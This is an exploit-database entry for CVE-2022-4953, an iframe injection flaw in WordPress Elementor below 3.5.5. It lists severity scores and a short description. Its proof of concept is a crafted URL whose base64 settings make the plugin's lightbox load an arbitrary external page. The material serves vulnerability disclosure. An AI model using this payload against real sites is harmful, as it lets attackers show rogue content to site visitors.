Wordpress Elementor 3.5.5 Plugin - Iframe Injection Vulnerability

2023-09-1100:00:00

Miguel Santareno

0day.today

129

wordpress

elementor

iframe injection

vulnerability

user-controlled urls

dom

exploit

cve-2022-4953

proof of concept

6.1 Medium

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

REQUIRED

Scope

CHANGED

Confidentiality Impact

LOW

Integrity Impact

LOW

Availability Impact

NONE

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

0.002 Low

EPSS

Percentile

61.5%

JSON

# Exploit Title: Wordpress Plugin Elementor < 3.5.5 - Iframe Injection
# Exploit Author: Miguel Santareno
# Vendor Homepage: https://elementor.com/
# Version: < 3.5.5
# Tested on: Google and Firefox latest version
# CVE : CVE-2022-4953

# 1. Description
The plugin does not filter out user-controlled URLs from being loaded into the DOM. This could be used to inject rogue iframes that point to malicious URLs.


# 2. Proof of Concept (PoC)
Proof of Concept:
https://vulnerable-site.tld/#elementor-action:action=lightbox&settings=eyJ0eXBlIjoidmlkZW8iLCJ1cmwiOiJodHRwczovL2Rvd25sb2FkbW9yZXJhbS5jb20vIn0K